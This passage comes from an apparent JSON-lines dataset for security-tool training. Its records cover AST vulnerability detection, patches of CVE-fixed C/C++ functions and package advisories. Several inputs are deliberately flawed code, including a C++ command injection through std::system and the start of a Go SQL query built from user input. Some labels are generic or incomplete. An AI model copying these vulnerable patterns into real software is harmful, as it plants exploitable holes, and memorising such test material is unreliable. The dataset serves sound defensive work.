46\n },\n {\n \"token\": \"codec\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 47\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 52\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 54\n },\n {\n \"token\": \"vpx_active_map_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"map\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 3,\n \"col\": 26\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"map\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 3\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 5,\n \"col\": 6\n },\n {\n \"token\": \"rows\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 7\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 14\n },\n {\n \"token\": \"cfg\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 18\n },\n {\n \"token\": \"g_h\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 5,\n \"col\": 24\n },\n {\n \"token\": \"15\",\n \"ast_node\": \"number_literal\",\n \"line\": 5,\n \"col\": 26\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 28\n },\n {\n \"token\": \"/\",\n \"ast_node\": \"/\",\n \"line\": 5,\n \"col\": 30\n },\n {\n \"token\": \"16\",\n \"ast_node\": \"number_literal\",\n \"line\": 5,\n \"col\": 32\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 34\n },\n {\n \"token\": \"map\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 3\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 6,\n \"col\": 6\n },\n {\n \"token\": \"cols\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 7\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 6,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 14\n },\n {\n \"token\": \"cfg\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 15\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 6,\n \"col\": 18\n },\n {\n \"token\": \"g_w\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 20\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 6,\n \"col\": 24\n },\n {\n \"token\": \"15\",\n \"ast_node\": \"number_literal\",\n \"line\": 6,\n \"col\": 26\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 28\n },\n {\n \"token\": \"/\",\n \"ast_node\": \"/\",\n \"line\": 6,\n \"col\": 30\n },\n {\n \"token\": \"16\",\n \"ast_node\": \"number_literal\",\n \"line\": 6,\n \"col\": 32\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 34\n },\n {\n \"token\": \"map\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 7,\n \"col\": 4\n },\n {\n \"token\": \"active_map\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 7,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 22\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 4\n },\n {\n \"token\": \"vpx_codec_control\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 22\n },\n {\n \"token\": \"codec\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 23\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "cpp", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C++ function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void BrowserContextDestroyer::DestroyContext(BrowserContext* context) {\n CHECK(context->IsOffTheRecord() || !context->HasOffTheRecordContext());\n \n content::BrowserContext::NotifyWillBeDestroyed(context);\n std::set hosts;\n \n for (content::RenderProcessHost::iterator it =\n content::RenderProcessHost::AllHostsIterator();\n !it.IsAtEnd(); it.Advance()) {\n content::RenderProcessHost* host = it.GetCurrentValue();\n if (host->GetBrowserContext() != context) {\n continue;\n }\n \n hosts.insert(host);\n//// static\n }\n \n \n if (hosts.empty()) {\n delete context;\n } else {\n new BrowserContextDestroyer(context, hosts);\n }\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-1586\",\n \"project\": \"launchpad\",\n \"vulnerable_lines\": [\n 2,\n 4,\n 5,\n 7,\n 8,\n 9,\n 10,\n 11,\n 12,\n 15,\n 20,\n 21,\n 22,\n 23\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"BrowserContextDestroyer\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 1,\n \"col\": 28\n },\n {\n \"token\": \"DestroyContext\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \"BrowserContext\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 59\n },\n {\n \"token\": \"context\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 61\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 68\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 1,\n \"col\": 70\n },\n {\n \"token\": \"CHECK\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 7\n },\n {\n \"token\": \"context\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 8\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 2,\n \"col\": 15\n },\n {\n \"token\": \"IsOffTheRecord\",\n \"ast_node\": \"field_identifier\",\n \"line\": 2,\n \"col\": 17\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 31\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 32\n },\n {\n \"token\": \"||\",\n \"ast_node\": \"||\",\n \"line\": 2,\n \"col\": 34\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 2,\n \"col\": 37\n },\n {\n \"token\": \"context\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 38\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 2,\n \"col\": 45\n },\n {\n \"token\": \"HasOffTheRecordContext\",\n \"ast_node\": \"field_identifier\",\n \"line\": 2,\n \"col\": 47\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 69\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 70\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 71\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 2,\n \"col\": 72\n },\n {\n \"token\": \"content\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 4,\n \"col\": 9\n },\n {\n \"token\": \"BrowserContext\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \"NotifyWillBeDestroyed\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 48\n },\n {\n \"token\": \"context\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 49\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 56\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 57\n },\n {\n \"token\": \"std\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \"set\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 7\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 5,\n \"col\": 10\n },\n {\n \"token\": \"content\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 5,\n \"col\": 11\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 5,\n \"col\": 18\n },\n {\n \"token\": \"RenderProcessHost\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 37\n },\n {\n \"token\": \">\",\n \"ast_node\": \">\",\n \"line\": 5,\n \"col\": 38\n },\n {\n \"token\": \"hosts\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 40\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 45\n },\n {\n \"token\": \"for\",\n \"ast_node\": \"for\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 6\n },\n {\n \"token\": \"content\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 7,\n \"col\": 7\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 7,\n \"col\": 14\n },\n {\n \"token\": \"RenderProcessHost\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 7,\n \"col\": 33\n },\n {\n \"token\": \"iterator\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 35\n },\n {\n \"token\": \"it\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 44\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 47\n },\n {\n \"token\": \"content\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 8,\n \"col\": 11\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 8,\n \"col\": 18\n },\n {\n \"token\": \"RenderProcessHost\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 8,\n \"col\": 20\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 8,\n \"col\": 37\n },\n {\n \"token\": \"AllHostsIterator\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 39\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "cpp", "cwe": "CWE-78", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the C++ source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "#include \nvoid run(std::string param) {\n std::system((\"ls \" + param).c_str());\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-78\",\n \"cwe_name\": \"OS Command Injection\",\n \"title\": \"Command injection via std::system\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"std\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 3,\n \"col\": 7\n },\n {\n \"token\": \"system\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"ls \",\n \"ast_node\": \"string_content\",\n \"line\": 3,\n \"col\": 18\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"param\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 30\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \"c_str\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 32\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 38\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 39\n }\n ],\n \"explanation\": \"A user-controlled string is concatenated into a shell command for std::system.\",\n \"remediation\": \"Avoid shell invocation; pass arguments as an array to exec APIs and validate/allow-list inputs.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "static void scsi_write_complete(void * opaque, int ret)\n {\n SCSIDiskReq *r = (SCSIDiskReq *)opaque;\n SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, r->req.dev);\n uint32_t len;\n uint32_t n;\n \n if (r->req.aiocb != NULL) {\n r->req.aiocb = NULL;\n bdrv_acct_done(s->bs, &r->acct);\n }\n\n if (ret) {\n if (scsi_handle_rw_error(r, -ret, SCSI_REQ_STATUS_RETRY_WRITE)) {\n return;\n }\n }\n \n n = r->iov.iov_len / 512;\n r->sector += n;\n r->sector_count -= n;\n if (r->sector_count == 0) {\n scsi_req_complete(&r->req, GOOD);\n } else {\n len = r->sector_count * 512;\n if (len > SCSI_DMA_BUF_SIZE) {\n len = SCSI_DMA_BUF_SIZE;\n }\n r->iov.iov_len = len;\n DPRINTF(\"Write complete tag=0x%x more=%d\\n\", r->req.tag, len);\n scsi_req_data(&r->req, len);\n }\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"cve\": \"CVE-2011-3346\",\n \"fixed_code\": \"static void scsi_write_complete(void * opaque, int ret)\\n {\\n SCSIDiskReq *r = (SCSIDiskReq *)opaque;\\n SCSIDiskState *s = DO_UPCAST(SCSIDiskState, qdev, r->req.dev);\\n uint32_t n;\\n \\n if (r->req.aiocb != NULL) {\\n r->req.aiocb = NULL;\\n bdrv_acct_done(s->bs, &r->acct);\\n }\\n\\n if (ret) {\\n if (scsi_handle_rw_error(r, -ret, SCSI_REQ_STATUS_RETRY_WRITE)) {\\n return;\\n }\\n }\\n \\n n = r->qiov.size / 512;\\n r->sector += n;\\n r->sector_count -= n;\\n if (r->sector_count == 0) {\\n scsi_req_complete(&r->req, GOOD);\\n } else {\\n scsi_init_iovec(r);\\n DPRINTF(\\\"Write complete tag=0x%x more=%d\\\\n\\\", r->req.tag, r->qiov.size);\\n scsi_req_data(&r->req, r->qiov.size);\\n }\\n }\\n\",\n \"change_summary\": \"scsi-disk: commonize iovec creation between reads and writes\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-787", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "WORD32 ixheaacd_complex_anal_filt(ia_esbr_hbe_txposer_struct *ptr_hbe_txposer) {\n WORD32 idx;\n WORD32 anal_size = 2 * ptr_hbe_txposer->synth_size;\n WORD32 N = (10 * anal_size);\n\n for (idx = 0; idx < (ptr_hbe_txposer->no_bins >> 1); idx++) {\n WORD32 i, j, k, l;\n FLOAT32 window_output[640];\n FLOAT32 u[128], u_in[256], u_out[256];\n FLOAT32 accu_r, accu_i;\n const FLOAT32 *inp_signal;\n FLOAT32 *anal_buf;\n\n FLOAT32 *analy_cos_sin_tab = ptr_hbe_txposer->analy_cos_sin_tab;\n const FLOAT32 *interp_window_coeff = ptr_hbe_txposer->analy_wind_coeff;\n FLOAT32 *x = ptr_hbe_txposer->analy_buf;\n\n memset(ptr_hbe_txposer->qmf_in_buf[idx + HBE_OPER_WIN_LEN - 1], 0,\n TWICE_QMF_SYNTH_CHANNELS_NUM * sizeof(FLOAT32));\n\n inp_signal = ptr_hbe_txposer->ptr_input_buf +\n idx * 2 * ptr_hbe_txposer->synth_size + 1;\n anal_buf = &ptr_hbe_txposer->qmf_in_buf[idx + HBE_OPER_WIN_LEN - 1]\n [4 * ptr_hbe_txposer->k_start];\n\n for (i = N - 1; i >= anal_size; i--) {\n x[i] = x[i - anal_size];\n }\n\n for (i = anal_size - 1; i >= 0; i--) {\n x[i] = inp_signal[anal_size - 1 - i];\n }\n\n for (i = 0; i < N; i++) {\n window_output[i] = x[i] * interp_window_coeff[i];\n }\n\n for (i = 0; i < 2 * anal_size; i++) {\n accu_r = 0.0;\n for (j = 0; j < 5; j++) {\n accu_r = accu_r + window_output[i + j * 2 * anal_size];\n }\n u[i] = accu_r;\n }\n\n if (anal_size == 40) {\n for (i = 1; i < anal_size; i++) {\n FLOAT32 temp1 = u[i] + u[2 * anal_size - i];\n FLOAT32 temp2 = u[i] - u[2 * anal_size - i];\n u[i] = temp1;\n u[2 * anal_size - i] = temp2;\n }\n\n for (k = 0; k < anal_size; k++) {\n accu_r = u[anal_size];\n if (k & 1)\n accu_i = u[0];\n else\n accu_i = -u[0];\n for (l = 1; l < anal_size; l++) {\n accu_r = accu_r + u[0 + l] * analy_cos_sin_tab[2 * l + 0];\n accu_i = accu_i + u[2 * anal_size - l] * analy_cos_sin_tab[2 * l + 1];\n }\n analy_cos_sin_tab += (2 * anal_size);\n *anal_buf++ = (FLOAT32)accu_r;\n *anal_buf++ = (FLOAT32)accu_i;\n }\n } else {\n FLOAT32 *ptr_u = u_in;\n FLOAT32 *ptr_v = u_out;\n for (k = 0; k < anal_size * 2; k++) {\n\n *ptr_u++ = ((*analy_cos_sin_tab++) * u[k]);\n *ptr_u++ = ((*analy_cos_sin_tab++) * u[k]);\n }\n if (ixheaacd_cmplx_anal_fft != NULL)\n (*ixheaacd_cmplx_anal_fft)(u_in, u_out, anal_size * 2);\n else\n return -1;\n \n for (k = 0; k < anal_size / 2; k++) {\n *(anal_buf + 1) = -*ptr_v++;\n *anal_buf = *ptr_v++;\n\n anal_buf += 2;\n\n *(anal_buf + 1) = *ptr_v++;\n *anal_buf = -*ptr_v++;\n\n anal_buf += 2;\n }\n }\n }\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-787\",\n \"cwe_name\": \"Out-of-bounds Write\",\n \"cve\": \"CVE-2018-9496\",\n \"fixed_code\": \"WORD32 ixheaacd_complex_anal_filt(ia_esbr_hbe_txposer_struct *ptr_hbe_txposer) {\\n WORD32 idx;\\n WORD32 anal_size = 2 * ptr_hbe_txposer->synth_size;\\n WORD32 N = (10 * anal_size);\\n\\n for (idx = 0; idx < (ptr_hbe_txposer->no_bins >> 1); idx++) {\\n WORD32 i, j, k, l;\\n FLOAT32 window_output[640];\\n FLOAT32 u[128], u_in[256], u_out[256];\\n FLOAT32 accu_r, accu_i;\\n const FLOAT32 *inp_signal;\\n FLOAT32 *anal_buf;\\n\\n FLOAT32 *analy_cos_sin_tab = ptr_hbe_txposer->analy_cos_sin_tab;\\n const FLOAT32 *interp_window_coeff = ptr_hbe_txposer->analy_wind_coeff;\\n FLOAT32 *x = ptr_hbe_txposer->analy_buf;\\n\\n memset(ptr_hbe_txposer->qmf_in_buf[idx + HBE_OPER_WIN_LEN - 1], 0,\\n TWICE_QMF_SYNTH_CHANNELS_NUM * sizeof(FLOAT32));\\n\\n inp_signal = ptr_hbe_txposer->ptr_input_buf +\\n idx * 2 * ptr_hbe_txposer->synth_size + 1;\\n anal_buf = &ptr_hbe_txposer->qmf_in_buf[idx + HBE_OPER_WIN_LEN - 1]\\n [4 * ptr_hbe_txposer->k_start];\\n\\n for (i = N - 1; i >= anal_size; i--) {\\n x[i] = x[i - anal_size];\\n }\\n\\n for (i = anal_size - 1; i >= 0; i--) {\\n x[i] = inp_signal[anal_size - 1 - i];\\n }\\n\\n for (i = 0; i < N; i++) {\\n window_output[i] = x[i] * interp_window_coeff[i];\\n }\\n\\n for (i = 0; i < 2 * anal_size; i++) {\\n accu_r = 0.0;\\n for (j = 0; j < 5; j++) {\\n accu_r = accu_r + window_output[i + j * 2 * anal_size];\\n }\\n u[i] = accu_r;\\n }\\n\\n if (anal_size == 40) {\\n for (i = 1; i < anal_size; i++) {\\n FLOAT32 temp1 = u[i] + u[2 * anal_size - i];\\n FLOAT32 temp2 = u[i] - u[2 * anal_size - i];\\n u[i] = temp1;\\n u[2 * anal_size - i] = temp2;\\n }\\n\\n for (k = 0; k < anal_size; k++) {\\n accu_r = u[anal_size];\\n if (k & 1)\\n accu_i = u[0];\\n else\\n accu_i = -u[0];\\n for (l = 1; l < anal_size; l++) {\\n accu_r = accu_r + u[0 + l] * analy_cos_sin_tab[2 * l + 0];\\n accu_i = accu_i + u[2 * anal_size - l] * analy_cos_sin_tab[2 * l + 1];\\n }\\n analy_cos_sin_tab += (2 * anal_size);\\n *anal_buf++ = (FLOAT32)accu_r;\\n *anal_buf++ = (FLOAT32)accu_i;\\n }\\n } else {\\n FLOAT32 *ptr_u = u_in;\\n FLOAT32 *ptr_v = u_out;\\n for (k = 0; k < anal_size * 2; k++) {\\n\\n *ptr_u++ = ((*analy_cos_sin_tab++) * u[k]);\\n *ptr_u++ = ((*analy_cos_sin_tab++) * u[k]);\\n }\\n if (ptr_hbe_txposer->ixheaacd_cmplx_anal_fft != NULL)\\n (*(ptr_hbe_txposer->ixheaacd_cmplx_anal_fft))(u_in, u_out,\\n anal_size * 2);\\n else\\n return -1;\\n \\n for (k = 0; k < anal_size / 2; k++) {\\n *(anal_buf + 1) = -*ptr_v++;\\n *anal_buf = *ptr_v++;\\n\\n anal_buf += 2;\\n\\n *(anal_buf + 1) = *ptr_v++;\\n *anal_buf = -*ptr_v++;\\n\\n anal_buf += 2;\\n }\\n }\\n }\\n return 0;\\n}\\n\",\n \"change_summary\": \"Fix for stack corruption in esbr\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-770", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: axios\nInstalled version: 1.7.0\nSummary: Allocation of Resources Without Limits or Throttling in Axios", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-777c-7fjr-54vf\",\n \"cve\": \"CVE-2026-44488\",\n \"aliases\": [\n \"CVE-2026-44488\"\n ],\n \"cwe\": \"CWE-770\",\n \"ecosystem\": \"npm\",\n \"package\": \"axios\",\n \"severity\": \"high\",\n \"affected_versions\": \">=1.7.0, <1.16.0\",\n \"fixed_version\": \"1.16.0\",\n \"finding\": \"Allocation of Resources Without Limits or Throttling in Axios\",\n \"remediation\": \"Upgrade axios to 1.16.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-407", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Microsoft.NETCore.App.Runtime.linux-arm\nInstalled version: 9.0.0\nSummary: Microsoft Security Advisory CVE-2026-69651 - .NET and Visual Studio Denial of Service Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-3rxq-g8rj-r2cf\",\n \"cve\": \"CVE-2026-69651\",\n \"aliases\": [\n \"CVE-2026-69651\"\n ],\n \"cwe\": \"CWE-407\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Microsoft.NETCore.App.Runtime.linux-arm\",\n \"severity\": \"high\",\n \"affected_versions\": \">=9.0.0, <9.0.21\",\n \"fixed_version\": \"9.0.21\",\n \"finding\": \"Microsoft Security Advisory CVE-2026-69651 - .NET and Visual Studio Denial of Service Vulnerability\",\n \"remediation\": \"Upgrade Microsoft.NETCore.App.Runtime.linux-arm to 9.0.21 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int usbip_recv_xbuff(struct usbip_device *ud, struct urb *urb)\n{\n\tint ret;\n\tint size;\n\n\tif (ud->side == USBIP_STUB) {\n\t\t/* the direction of urb must be OUT. */\n\t\tif (usb_pipein(urb->pipe))\n\t\t\treturn 0;\n\n\t\tsize = urb->transfer_buffer_length;\n\t} else {\n\t\t/* the direction of urb must be IN. */\n\t\tif (usb_pipeout(urb->pipe))\n\t\t\treturn 0;\n\n\t\tsize = urb->actual_length;\n\t}\n\n\t/* no need to recv xbuff */\n \tif (!(size > 0))\n \t\treturn 0;\n \n \tret = usbip_recv(ud->tcp_socket, urb->transfer_buffer, size);\n \tif (ret != size) {\n \t\tdev_err(&urb->dev->dev, \"recv xbuf, %d\\n\", ret);\n\t\tif (ud->side == USBIP_STUB) {\n\t\t\tusbip_event_add(ud, SDEV_EVENT_ERROR_TCP);\n\t\t} else {\n\t\t\tusbip_event_add(ud, VDEV_EVENT_ERROR_TCP);\n\t\t\treturn -EPIPE;\n\t\t}\n\t}\n\n\treturn ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-3955\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "go", "cwe": "CWE-89", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Analyze this go snippet at the AST level. Find the data-flow sink that introduces a vulnerability, map the tainted tokens to their AST node types, and return the detection result as JSON.", "input": "func getUser(w http.ResponseWriter, r *http.Request) {\n\targ := r.URL.Query().Get(\"file\")\n\tquery := fmt.Sprintf(\"SELECT * 